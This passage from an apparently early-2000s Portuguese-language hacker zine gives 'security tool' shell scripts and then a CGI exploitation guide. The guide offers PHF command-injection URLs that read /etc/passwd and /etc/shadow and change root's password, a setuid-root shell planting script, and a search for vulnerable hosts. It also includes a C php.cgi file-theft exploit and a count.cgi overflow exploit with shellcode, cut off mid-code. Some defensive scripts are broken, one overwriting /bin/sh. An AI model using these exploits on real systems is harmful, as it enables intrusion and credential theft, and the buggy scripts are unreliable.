  3.) Fechando terminais impedindo conexao de estranhos - Nelson Murilo

#!/bin/sh
# Bloqueia o terminal ate que seja informada
# a mesma senha que o tornou bloqueado
#
# 
PATH=/bin:/usr/bin; export PATH
stty -echo
cad=
while [ "$cad" = "" ]; do
   /bin/echo "Senha: \c"
   read cad < /dev/tty
done
trap "" 2 3 15
cat <<!
	TERMINAL BUGADO, FECHADO!!!
!
i=1
senha=
while [ "$cad" != "$senha" ];do
   sleep $i
   /bin/echo "\nSenha: \c"
   read senha < /dev/tty
   i=`expr $i \* 2`
done
echo
stty echo

  4.) Logando comandos criticos do sistema - by bloodroot

	Okay, entao voce tem um sistema com muitos usuarios, o risco
	de invasao  aumenta, entao e'  necessario  deixar as devidas
	ferramentas como: su,  adduser, rlogin,  userdel,  addgroup, 
	passwd  entre outras logadas, assim toda a vez que uma delas 
	for digitada na shell, o processo ficara gravado em um arqui
	vo no sistema...

	Agora e' bem simples, o programa funcina assim: primeiro, 
	voce move os arquivos que voce deseja logar, como por  exem-
	plo /bin/su, voce poe  o 'su'  /.bin/.su , assim o  programa
	coloca um sistema de log, toda a vez que o comando for execu
	tado, este ira informar a data, o login, o endereco e o sis-
	tema operacional em que o cara que executou o comando  esta,
	assim qualquer execucao desde comandos, sera gravada tornan-
	do mais facil sair a procura de alguem que andou fazendo o q
	nao devia no seu sistema. 

		Obs: E' necessario especificar, o comando que sera
		     logado (caminho completo, ex. /bin/su) depois
		     o diretorio para onde sera movido o  arquivo,
		     (tambem caminho completo,  ex. /.bin/.su),  e
		     depois de tudo, voce  precisa especificar  um
		     arquivo onde tudo sera logado. E depois e' so
		     rodar este script toda a vez que voce  quiser
		     logar um arquivo.	

#!/bin/sh
# Sekure Command Process - SCP by bloodroot
# blood@phone9.org
#
cmd= #digite um comando que devera se logado... ex. /bin/su
log= #digite o arquivo onde sera logado as execucoes.
safedir= #Coloque um diretorio paralelo onde ficarao os arquivos verdadeiros
	   #ex. /usr/.0bin/.su
whoami= whoami

goto sekure
sekure:
mv $cmd $safedir
echo "#!/bin/sh" >> $cmd
echo "echo Usuario que executou: `whoami` >> log" >> $cmd
if [whoami != root]
then
	echo ""
	echo "Possivelmente possa ter ocorrido uma falha de seguranca" >> $log
	echo "Verifique poor bugs no seu sistema...." >> $log
	echo ""
fi
echo "echo Data de execucao: `date` >> $log" >> $cmd
echo "echo Sistema Operacional: `uname -sr` >> $log" >> $cmd
echo "echo Hostname: `last | grep $whoami` >> $log" >> $cmd
echo "echo >> $log" >> $cmd
echo "$safedir" >> $cmd

  5.) Guest phucker - by Primal Phear
	
	Primeiro, edite o /etc/passwd e coloque uma linha assim:
	guest::69:69:guest user:/home/guest/:/bin/guestshell
	
		E o guestshell e' assim:
		#!/bin/sh
		# Simples fuckin' around
		telnet localhost 19
		
	E vamos saudar o hackerzao...

  6.) ls seguro - by bloodroot

	coloque este ls no lugar do /bin/ls e coloque o verdadeiro ls em 
	outro lugar.

#!/bin/sh
lsnew= # novo lugar do ls
mv /bin/ls $lsnew
echo "if [whoami != root]" >> /bin/sh
echo "then" >> /bin/sh
echo "	$lsnew -a" >> /bin/sh
echo "else" >> /bin/sh
echo "	$lsnew" >> /bin/sh
echo "fi" >> /bin/sh

	Agora qualquer um cujo o whoami seja igual  a root,  automaticamente
	ira executar o ls em modo ls -a, vendo todo o conteudo do diretorio,
	inclusive arquivos  .algumacoisa,  em geral todos os arquivos  de um 
	diretorio qualquer do qual o root de um ls, e quanto aos outros, bom
	um simples ls ta' otimo... ;) O que tambem impede a  execucao  do ls
	backdoor. 


 Isto conclui as ferramentas de seguranca desta edicao, acredito que o 
 pessoal vai ter muito o que testar nas sua LinuxOS por ai, entao  vou
 indo embora. 
 Hugs()

Sekurity Tools!!!
foi criado por todos os membros da Phone9.
(c) reg - 2001 productions, .[P9].
 Ŀ
  15 - Exploitacao por meio de CGIs - Parte I					 
 Ŀ   by bloodroot   
                                                      ٰ

The CGI guide to Exploitation 
by the blood root 
(c) The Misery Machine

1.) Introducao
2.) PHF bug
3.) PHP bug
4.) Sanitize protection
5.) Test-cgi
6.) count.cgi exploit
7.) Server gateway cgi atack
8.) Parte II

1.) Introducao  

	O Common Gateway Interface ( cgi ), nada mais e' do que pequenos
	programas compilados em varias linguagens existentes no mundo da
	programacao, podendo ser aplicado sobre varios tipos de gateway e
	proxys na rede, mas o seu uso mais comum e' em paginas da web
	( http ), as linguagens mais comuns utilizadas para se programar
	em cgi's e' perl, ams existem outras linguagens:

		Perl, C , Cshell , VBscript, Java. 
		
			Embora o java , ainda nao seja uma linguagem para cgi's
			alguns modulos podem ser feitos por meio de java.

	CGI's sao usados para facilitar a comunicacao user x server, sempre
	deixando uma barreira de chmod's , logs e avisos para o admin, mas
	nem sempre foi assim ( na verdade, eu acho q nunca foi assim ), o
	caso e' que o cgi, e' um programa que e' rodado no console ( shell )
	do sistema, sobre o user ou de anonymous, ou de um usuario cgi, que 
	so devera ter acesso ate' o /cgi-bin, seja como for, ter acesso a
	uma shell, por meio de um brownser, concerteza deve ter algum provei-
	to para nos, entao a pouco mais de uns 4 ou 5 anos, foi descoberto uma
	das primeiras vulnerabilidades em um cgi. O nome do cgi era phf.cgi,
	ou phf.pl ( tanto faz ), o que colocou em prova a teoria sobre a 
	seguranca dos servidores. Veja o caso.

2.) PHF bug...

		Em muitos servidores apache, no diretorio cgi-bin, ainda existe
	um programa chamada PHF, que foi um dos primeiros grandes bugs a serem
	descobertos no apache, que pode ser exploitado por meio de browser,
	lynx,netscape,NCSA,hacknet,Opera entre outros, o problema todo esta em
	sua configuracao de propriedades assim chmod +x /home/http/cgi-bin/
	phf.cgi, tornando-o um arquivo executavel, e dependendo de quem 
	colocou esta configuracao, voce pode rodar o arquivo como sendo root,
	ou ate' o user que roda o servidor ( http ), otimo geralmente scripts\
	como PHF, rodando como user nobody, fazedo com que cada processo seja
	rodado por um usuario que nao tenha tanta importancia no sistema, algo
	como NINGUEM!!! ;)
		bom, agora que voce ja' sabe o inicio, vamos rodar o script
	PHF, para ver se ele e' ou nao exploitavel ( checando as IDs do dono
	do processo PHF no sistema )
		http://jackass.com.br/cgi-bin/phf/?Qalias=x%0aid
		
	Como resultado, ira aparecer algo assim:

		
				 QUERY RESULTS 



     /usr/local/bin/ph -m alias=x id 

  uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) 

		Sendo , assim nos podemos ser o user nobody do sistema, sem 
	problemas, rodando os processos do qual o user nobody tem acesso.

			Agora a parte nasty, vem quando voce comeca a colocar 
			comandos mais perigoso para o sistema:
			
	http://lamer.org/cgi-bin/phf/?Qalias=x%0a/bin/cat%20/etc/passwd
	<< Ira pegar o arquivo de passwords
	http://lamer.org/cgi-bin/phf/?Qalias=x%0a%0a/bin/cat%20/etc/shadow
	<< Caso, o passwd esteja em shadow, a opcao seguinte e' esta
	http://lamer.org/cgi-bin/phf/?Qalias=x%0apasswd%20root 	
	<< Mudando a senha do root? 
      http://altavista.digital.com/cgi-bin/query?pg=aq&what=web&fmt=.
      &q=link%3A%22%2Fcgi-bin%2Fphf%22&r=&d0=&d1=
      << Utiliza o alta-vosta para achar servidores com o phf nele!!!

		Use a imaginacao, que voce sempre vai poder tirar proveito deste
		buggy. 

			Algumas tecnicas para saloes UNIXseX
			------------------------------------

		1- Armazem de bugs:

				Okay, sendo um usuario exemplar da sua escola, o 
				operador bastardo vindo do inferno , que por sinal
				opera a rede de computadores UNIXseX da escola, 
				resolve te dar uma conta com shell no sistema, para
				voce compilar aqueles seus programas escolares que 
				voce use depois de ir na bugtraq. Entao, ele te da
				um otimo diretorio ( como sempre ) /home/sucker/
				Voce como um otimo aluno, espera ate' chegar ao 
				anoitecer e bum, se loga no sistema:

					Welcome to UNIXseX 2.0.0 << Kernel antiga ;)
					login:sucker
					password:
					No mail
					sucker:/home/sucker/$
					Pega este lindo codigo em CS-hell que voce,
					um pouco mais abaixo ( agora voce deve apertar
					page down no teclado , perto do delete, para
					ver o codigo ), e agora o codigo:
					------ PHlamming ------
					#!/bin/csh
					#Sucker d00d? thanx to JackaSS
					#chame-o de sucking
					echo "Oi, tudo bem?"
					echo "I'm a JackASS program"
					touch /tmp/root
					echo "Lembre-se, isto nao deve machucar muito"
					/bin/cp /bin/sh /tmp/root
					echo "Faca AHHHHHHHHHHHHHHH!!!!!!"
					chmod 4755 /tmp/root
					echo "Coitado, vai ficar de cama por uns dias"
					/tmp/root
					echo "lervante ele, para ele aROOTar direito!"
					passwd sucker
					echo "Pronto, acho que ele vai ficar bem!! ;p"
					echo "!>DoNE<!"
					------ PHlamming ------
						
						Agora, entre no sistema, coloque este 
						script como sendo do usuario dono do 
						processo PHF, e depois execute a 
						seguinte linha de comando:
http://lamer.org/cgi-bin/phf/?Qalias=x%0a/home/sucker/sucking

		Depois e' so, executar por meio de um telnet /tmp/root e pronto,
		os seus problemas acabarao ;)

		[Pesquise bibliotecas da bugtraq, e rootshell para maiores]
		[informacoes sobre este infame buggy ( PHF )]

3.) PHP bug

	Primeiro de tudo, trata-se de um buffer overflowno programa de cgi,
	php. 
	O problema esta na funcao FixFilename() do arquivo file.c, PHP utiliza
	um sistema de armazenamento de strings que pode ser igual `a 8kbytes
	e menor de 128bytes. Isto faz um stack, tornando possivel que obter-se
	uma shell no sistema em que roda o php.cgi. O argumento FixFilename(),
	e' derivado de uma linha de comando que executa do cgi, ou entao da 
	variavel QUERY_STRING passado por ela. O tamanho total de ambos deve
	ser do tamanho de 8kbytes, mas a string fn e' de 128bytes. Veja a area
	onde esta a falha no codigo:
	
char *FixFilename(char *filename, int cd, int *ret) {

...

char fn[128], user[128], *s;

...

s = strrchr(filename,'/');

if(s) {

strcpy(fn,s+1);
	
...

	Os host vulneraveis deverao rodar um servidor httpd, com o programa
	apache nele. Para verificar a vulnerabilidade do php.cgi, execute esta
	linha de comando no seu brownser:
	... lynx http://phuck.org/cgi0bin/php.cgi
	... netscape url: http://phuck.org/cgi-bin/php/cgi
	 Se o resultado for algo assim:
		PHP/FI 2.0b 1.0
	
			Entao a maquina e' vulneravel ao ataque.

Para concertar o bug, voce tem duas opcoes:
1. Deleta o php ( rm -rf /var/httpd/cgi-bin/php.cgi )
2. Recompila o php.cgi com o seguinte codigo ( diffs ) a seguir:

*** file.c      Thu Apr 17 09:36:07 1997
- --- file.c.fixed      Thu Apr 17 09:36:00 1997
***************
*** 295,315 ****
  
        s = strrchr(filename,'/');
        if(s) {

!               strcpy(fn,s+1);
                o=*s;
                *s='\0';
!               strcpy(path,filename);
                *s=o;
        } else {
  #ifdef PHP_ROOT_DIR
!               strcpy(path,PHP_ROOT_DIR);
  #else
                path[0] = '\0';
  #endif
!               strcpy(fn,filename);
        }
        if(fn && *fn=='~') {
!               strcpy(path,fn);
                fn[0]='\0';
        }
        if(*path) {
- --- 295,320 ----
  
        s = strrchr(filename,'/');
        if(s) {
!               strncpy(fn,s+1, sizeof (fn));
!               fn[sizeof(fn) - 1] = '\0';
                o=*s;
                *s='\0';
!               strncpy(path,filename, sizeof (path));
!               path[sizeof(path) - 1] = '\0';
                *s=o;
        } else {
  #ifdef PHP_ROOT_DIR
!               strncpy(path,PHP_ROOT_DIR, sizeof(path));
!               path[sizeof(path) -1] = '\0';
  #else
                path[0] = '\0';
  #endif
!               strncpy(fn,filename, sizeof (fn));
!               fn[sizeof(fn) - 1] = '\0';
        }
        if(fn && *fn=='~') {
!               strncpy(path,fn, sizeof (path));
!               path[sizeof(path) - 1] = '\0';
                fn[0]='\0';
        }
        if(*path) {
***************
*** 319,328 ****
                                o=*s;
                                *s='\0';
                        }
!                       strcpy(user,path+1);
                        if(s) {
                                *s=o;
!                               strcpy(temp,s);
                        } else temp[0]='\0';
  #ifdef HAVE_PWD_H
                        if(*user) {
- --- 324,335 ----
                                o=*s;
                                *s='\0';
                        }
!                       strncpy(user,path+1, sizeof (user));
!                       user[sizeof(user) - 1] = '\0';
                        if(s) {
                                *s=o;
!                               strncpy(temp,s, sizeof (temp));
!                               temp[sizeof(temp) - 1] = '\0';
                        } else temp[0]='\0';
  #ifdef HAVE_PWD_H
                        if(*user) {
***************
*** 333,339 ****
                                  pd = getenv(PHP_PUB_DIRNAME_ENV);
  #endif
                                  if (pd == 0) pd = PHP_PUB_DIRNAME;
!                                sprintf(path,"%s/%s%s",pw->pw_dir,pd,temp);
                                }
                        }
  #endif
- --- 340,351 ----
                                  pd = getenv(PHP_PUB_DIRNAME_ENV);
  #endif
                                  if (pd == 0) pd = PHP_PUB_DIRNAME;
!                                 strcpy (path,pw->pw_dir);
!                                 strcat (path,"/");
!                                 strncat (path, pd, 
!                                       sizeof(path) - strlen(path) - 1);
!                                 strncat (path, temp, 
!                                        sizeof (path) - strlen(path) - 1);
                                }
                        }
  #endif
***************
*** 343,352 ****
                                o=*s;
                                *s='\0';
                        }
!                       strcpy(user,path+2);
                        if(s) {
                                *s=o;           
!                               strcpy(temp,s);
                        } else temp[0]='\0';
  #if HAVE_PWD_H
                        if(*user) {
- --- 355,366 ----
                                o=*s;
                                *s='\0';
                        }
!                       strncpy(user,path+2, sizeof (user));
!                       user[sizeof(user) - 1] = '\0';
                        if(s) {
                                *s=o;           
!                               strncpy(temp,s,sizeof(temp));
!                               temp[sizeof(temp) - 1] = '\0';
                        } else temp[0]='\0';
  #if HAVE_PWD_H
                        if(*user) {
***************
*** 357,363 ****
                                  pd = getenv(PHP_PUB_DIRNAME_ENV);
  #endif
                                  if (pd == 0) pd = PHP_PUB_DIRNAME;
!                                sprintf(path,"%s/%s%s",pw->pw_dir,pd,temp);

					}
                        }
  #endif
                }
- --- 371,383 ----
                                  pd = getenv(PHP_PUB_DIRNAME_ENV);
  #endif
                                  if (pd == 0) pd = PHP_PUB_DIRNAME;
!                                 strcpy (path,pw->pw_dir);
!                                 strcat (path,"/");
!                                 strncat (path, pd, 
!                                       sizeof(path) - strlen(path) - 1);
!                                 strncat (path, temp, 
!                                        sizeof (path) - strlen(path) - 1);
!                               }
                        }
  #endif
                }
***************
*** 370,376 ****
                        }
                }
                if(*fn) {
!                       sprintf(temp,"%s/%s",path,fn);
  #ifndef WINDOWS
                        st = stat(temp,&gsb);
  #else
- --- 390,399 ----
                        }
                }
                if(*fn) {
!                       strncpy (temp, path, sizeof (temp));
!                       temp[sizeof(temp) - 1] = '\0';
!                       strcat (temp,"/");
!                       strncat(temp,fn,sizeof(temp) - strlen(temp) - 1);
  #ifndef WINDOWS
                        st = stat(temp,&gsb);
  #else
***************
*** 382,394 ****
                                st = -1;
  #endif
                        if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
!                               sprintf(temp,"%s/%s/index.html",path,fn);
                                st = stat(temp,&gsb);
                                if(st==-1) {
!                                 sprintf(temp,"%s/%s/index.phtml",path,fn);
                                st = stat(temp,&gsb);
                                }
!                               sprintf(path,"%s/%s",path,fn);
                        } else if(st==-1) {
                                l = strlen(temp);
                                if(strlen(fn)>4) {
- --- 405,431 ----
                                st = -1;
  #endif
                        if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
!                               strncpy (temp,path,sizeof(temp));
!                               temp[sizeof(temp) - 1] = '\0';
!                               strcat (temp, "/");
!                               strncat (temp,fn, 
!                                       sizeof(temp) - strlen (temp) - 1);
!                               strncat (temp,"/index.html",
!                                       sizeof(temp) - strlen (temp) - 1);
                                st = stat(temp,&gsb);
                                if(st==-1) {
!                                       strncpy (temp,path,sizeof(temp));
!                                       temp[sizeof(temp) - 1] = '\0';
!                                       strcat (temp, "/");
!                                       strncat (temp,fn, 
!                                         sizeof(temp) - strlen (temp) - 1);
!                                       strncat (temp,"/index.html",
!                                         sizeof(temp) - strlen (temp) - 1);
						    st = stat(temp,&gsb);
                                }
!                               strcat (path,"/");
!                               strncat (path, fn, 
!                                       sizeof(path) - strlen(path) - 1);
                        } else if(st==-1) {
                                l = strlen(temp);
                                if(strlen(fn)>4) {
***************
*** 410,422 ****
                                st = -1;
  #endif
                        if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
!                               sprintf(temp,"%s/index.html",path);
                                st = stat(temp,&gsb);
                                if(st==-1) {
!                                       sprintf(temp,"%s/index.phtml",path);
                                        st = stat(temp,&gsb);
                                }
!                       } else strcpy(temp,path);
                }
        } else {
  #ifndef WINDOWS
- --- 447,468 ----
                                st = -1;
  #endif
                        if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
!                               strncpy (temp, path, sizeof (temp));
!                               temp[sizeof(temp) - 1] = '\0';
!                               strncat (temp, "/index.html", 
!                                       sizeof (temp) - strlen (temp) - 1);
                                st = stat(temp,&gsb);
                                if(st==-1) {
!                               strncpy (temp, path, sizeof (temp));
!                               temp[sizeof(temp) - 1] = '\0';
!                               strncat (temp, "/index.phtml", 
!                                       sizeof (temp) - strlen (temp) - 1);
                                        st = stat(temp,&gsb);
                                }
!                       } else {
!                               strncpy(temp,path, sizeof (temp));
!                               temp[sizeof (temp) - 1] = '\0';
!                       }
                }
        } else {
  #ifndef WINDOWS
***************
*** 430,442 ****
                        st = -1;
  #endif
                if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
!                       sprintf(temp,"%s/index.html",fn);
                        st = stat(temp,&gsb);
                        if(st==-1) {
!                               sprintf(temp,"%s/index.phtml",fn);
                                st = stat(temp,&gsb);
                        }
!               } else strcpy(temp,fn);
        }               
        *ret=st;        
        return(temp);
- --- 476,498 ----
                        st = -1;
  #endif
                if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
!                       strncpy (temp, fn, sizeof (temp));
!                       temp[sizeof(temp) - 1] = '\0';
!                       strncat (temp, "/index.html", 
!                               sizeof (temp) - strlen (temp) - 1);
                        st = stat(temp,&gsb);
                        if(st==-1) {
!                               strncpy (temp, fn, sizeof (temp));
!                               temp[sizeof(temp) - 1] = '\0';
!                               strncat (temp, "/index.phtml", 
!                                       sizeof (temp) - strlen (temp) - 1);
! 
                                st = stat(temp,&gsb);
                        }
!               } else {
!                       strncpy(temp,fn,sizeof (temp));
!                       temp[sizeof(temp) - 1] = '\0';
!               }
        }               
        *ret=st;        
        return(temp);

Para exploitar o bug, apenas digite este endereco no seu browser:

...
http://www.phuck.org/cgi-bin/php.cgi?<arquivo do servidor>
...

E ainda vai um programas, otimos que o pessoal da CodeZero ( confidence 
remains high ), apresentou em umas das edicoes da zine:

----[ begin second fuck1n'31337 c0d3]----
/*

  p1 (peewun@heterosexual.com)

  This code retrieves a file using php.cgi on a remote system.
  This program is for educational purposes only.  Use it on p1.com.

*/

#include <signal.h>
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>

FILE    *server;
int sock;

void do_connect(char *host, char *toget);
void do_connect(char *host, char *toget)
{
    char inbuf[1024];
    struct sockaddr_in sin;
    struct hostent *hp;
    char *tmpbuf;

    hp = gethostbyname(host);
    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
    sin.sin_family = hp->h_addrtype;
    sin.sin_port = htons(80);
    sock = socket(AF_INET, SOCK_STREAM, 0);

    if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) {
       printf("Made connection to %s.\n\n", host);
    } else {
       printf("Failed to connect to %s.\n\n",host);
       exit(0);
    }

    server=fdopen(sock, "a+");
    fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget);
    printf("Output from php.cgi request:\n\n");
    while(1){
       if (fgets(inbuf, 1024, server) == NULL)
          break;
       printf(inbuf);
    }

}                       
main(int argc,char **argv)
{
    printf("\nThis program is a remote exploit system using php.cgi.\n");
    printf("Author: p1 - peewun@heterosexual.com\n");
    if (argc < 3) {
      printf("Usage: %s <domain> <path and file>\n",argv[0]);
      printf("   Ex: %s www.p1.com /etc/passwd\n",argv[0]);
    }
    else {
      char *buffer;
      (char *)"exit";
      do_connect(argv[1],argv[2]);
      exit(1);
    }
}
---[ end of fuck1n' 31337 sh17 ]----
enjo
4.) User-id cgi bug

	Uma das falhas mais recentes em servidores que rodam seus cgi's e' a
	execucao de comandos arbitrarios nas maquinas sobre a uid/gid do dono
	do processo do servidor ou do cgi. Exemplos sao php.cgi, phf.cgi, 
	query.cgi entre outros. A maioria destes bug's sao feitos devido a 
	as funcoes QUERY_STRINGS, do qual armazenam as strings digitadas por
	qualquer usuario, sendo assim comandos como %0a/bin/cat%20/etc/passwd
	e' possivel de ocorrer em varios e varios casos de ataques por meio de
	cgi's. O escriotr de cgi's conciente deste tipo de ataques, resolve 
	retirar os meta-characteres do seu script. Levando a resultados assim:
	
	  #!/usr/local/bin/perl
        $user_data = $ENV{'QUERY_STRING'};      # Armazena data
        print "$user_data\n";
        $user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g;  # Tira caracteres
        print "$user_data\n";
        exit(0);

	Com este codigo, o programador estipula que caracteres nao devem ser
	utilizados naquele cgi. E' claro que o programador nao coloca todos os
	caracteres que nao podem ser usados no cgi, entao ficam alguns 
	caracteres de fora. mas os principais estao infelismente estipulados,
	por exemplo o simples fato de colocar um / no cgi ja' devera ser 
	impedido pelo servidor. sUx.
 
CERT (c) - 1998.

5.) Test-cgi

		Este e' bem conhecido, utilizando ele , voce pode cair dentro do
		/root do servidor sem nenhum problema, apenas executando esta
		linha de comando:
		...
		- http://www.phuck.org/cgi-bin/test-cgi?/*
		...

			O problema mais uma vez esta na nao marcac'ao de 
			caracteres nao permitidos pelo cgi. A funcao QUERY_STRING,
			abaixo:

			echo QUERY_STRING = $QUERY_STRING
			
			Nao seleciona, quais caracteres nao podem ser usados no
			cgi, permitindo que as pessoas utilizem caracteres como *,
			que como voces devem ( deveriam ), saber /* leva ao 
			diretorio do root, sem problemas... ou entao /~ em alguns
			linux. Concertar este bug, e' bem facil , utilize o 
			sistema de sanitize acima, ou delete o test-cgi, para que
			voce precisa dele, afinal? Para saber se' o codigo e' 
			vulneravel ou nao, apenas procure para funcao QUERY_STRING
			do codigo do script (pico /var/lib/httpd/cgi-bin/test.cgi)
			procure por uma linha assim:
...
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger 
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html 
mail-query mail-query-2 majordomo majordomo.cf marker.cgi 
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query 
query smartlist.cf src subscribe.cf test-cgi uptime
...

Ou

...
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt 
/root /sbin /stand /sys /tmp /usr /usr2 /var
...

	
Todas estas linahs sao extremamente prejudiciais para o seu servidor, por
tanto para que deixar um .cgi com tantos bugs rodando no seu servidor, se o
seu proposito de existencia e' meramente inutil ;) ???

6.) Count.cgi exploit

	O problema todo , mais uma vez ocorre no buffer overflow do nosso 
	grande e querido amigo QUERY_STRING, voce consegue a shell do dono
	do processo ( geralmente, daemon,httpd,nobody ), a protecao contra 
	este exploit e' bem simples e' esta resumida no codigo abaixo:

> void wrapit(char *envvar,int esize)

> {

>    char *tmp,*tmp2;

>    tmp=malloc(esize+1);

>    if(tmp==NULL)

>      {

>       Debug2("Can't allocate wrapper memory buffer.",0,0);

>       exit(1);

>      }

>    strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);

>    tmp[esize]='\0';

>    setenv(envvar,tmp,1);

> }

>

89c103

<     char

---

>    char

185a200,207

>    /*

>     * Evita os problemas no buffer,nao diexando que qquer string seja dada
>     * como inpout no cgi.

>     */

>

>    wrapit("QUERY_STRING",600);

>    wrapit("HTTP_REFERER",600);

>    wrapit("HTTP_USER_AGENT",600);

>


	E para exploitar esta belezinha, apenas compile e rode o programa 
	abaixo:

------------cutcut-------8<-----------------------------------------------



/*



Count.cgi (wwwcount) linux  test exploit

(c) 05/1997 by plaguez  -  dube0866@eurobretagne.fr



*/



#include <stdio.h>

#include <stdlib.h>



char shell[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"

"\x5e\x18\x88\x46\x2c\x88\x46\x30"

"\x88\x46\x39\x88\x46\x4b\x8d\x56"

"\x20\x89\x16\x8d\x56\x2d\x89\x56"

"\x04\x8d\x56\x31\x89\x56\x08\x8d"

"\x56\x3a\x89\x56\x0c\x8d\x56\x10"

"\x89\x46\x10\xb0\x0b\xcd\x80\x31"

"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"

"\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff"

"/usr/X11R6/bin/xterm0-ut0-display0"

"127.000.000.001:00"

"\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff\xff\xff\xff\xff\xff"

"\xff\xff\xff";





        jmp    60

        popl   %esi

        xorl   %eax,%eax           # efface eax

        movl   %esi,%ecx           # recupere l'adresse du buffer

        leal   0x18(%esi),%ebx     # recupere l'adresse des chaines

        movb   %al,0x2c(%esi)      # cree les chaines azt

        movb   %al,0x30(%esi)      #

        movb   %al,0x39(%esi)

        movb   %al,0x4b(%esi)

        leal   0x20(%esi),%edx     # cree le char**

        movl   %edx,(%esi)

        leal   0x2d(%esi),%edx

        movl   %edx,0x4(%esi)

        leal   0x31(%esi),%edx

        movl   %edx,0x8(%esi)

        leal   0x3a(%esi),%edx

        movl   %edx,0xc(%esi)

        leal   0x10(%esi),%edx

        movl   %eax,0x10(%esi)

        movb   $0xb,%al

        int    $0x80                #  passe en mode kernel

        xorl   %ebx,%ebx            #  termine proprement (exit())

        movl   %ebx,%eax            #  si jamais le execve() foire.

        inc    %eax                 #

        int    $0x80                #

        call   -65                  
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff

        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff

        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff

        .ascii \"/usr/X11R6/bin/xterm0\"         # 44

        .ascii \"-ut0\"                          # 48

        .ascii \"-display0\"                 # 57  au ;

        .ascii \"127.000.000.001:00\"        # 75 (total des chaines)

        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff

        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff

            ...

 */



char qs[7000];

char chaine[]="user=a";



unsigned long getesp() {

   //   asm("movl %esp,%eax");

   return 0xbfffee38;

}
void main(int argc, char **argv) {
   int compt;
   long stack;
   stack=getesp();
   if(argc>1)
     stack+=atoi(argv[1]);

   for(compt=0;compt<4104;compt+=4) {
      qs[compt+0] = stack &  0x000000ff;
      qs[compt+1] = (stack & 0x0000ff00) >> 8;
      qs[compt+2] = (stack & 0x00ff0000) >> 16;
      qs[compt+3] = (stack & 0xff000000) >> 24;
   }

   strcpy(qs,chaine);
   qs[strlen(chaine)]=0x90;
   qs[4104]= stack&0x000000ff;
   qs[4105]=(stack&0x0000ff00)>>8;
   qs[4106]=(stack&0x00ff0000)>>16;
   qs[4107]=(stack&0xff000000)>>24;
   qs[4108]= stack&0x000000ff;
   qs[4109]=(stack&0x0000ff00)>>8;
   qs[4110]=(stack&0x00ff0000)>>16;
   qs[4111]=(stack&0xff000000)>>24;
   qs[4112]= stack&0x000000ff;
   qs[4113]=(stack&0x0000ff00)>>8;
   qs[4114]=(stack&0x00ff0000)>>16;
   qs[4115]=(stack&0xff000000)>>24;
   qs[4116]= stack&0x000000ff;
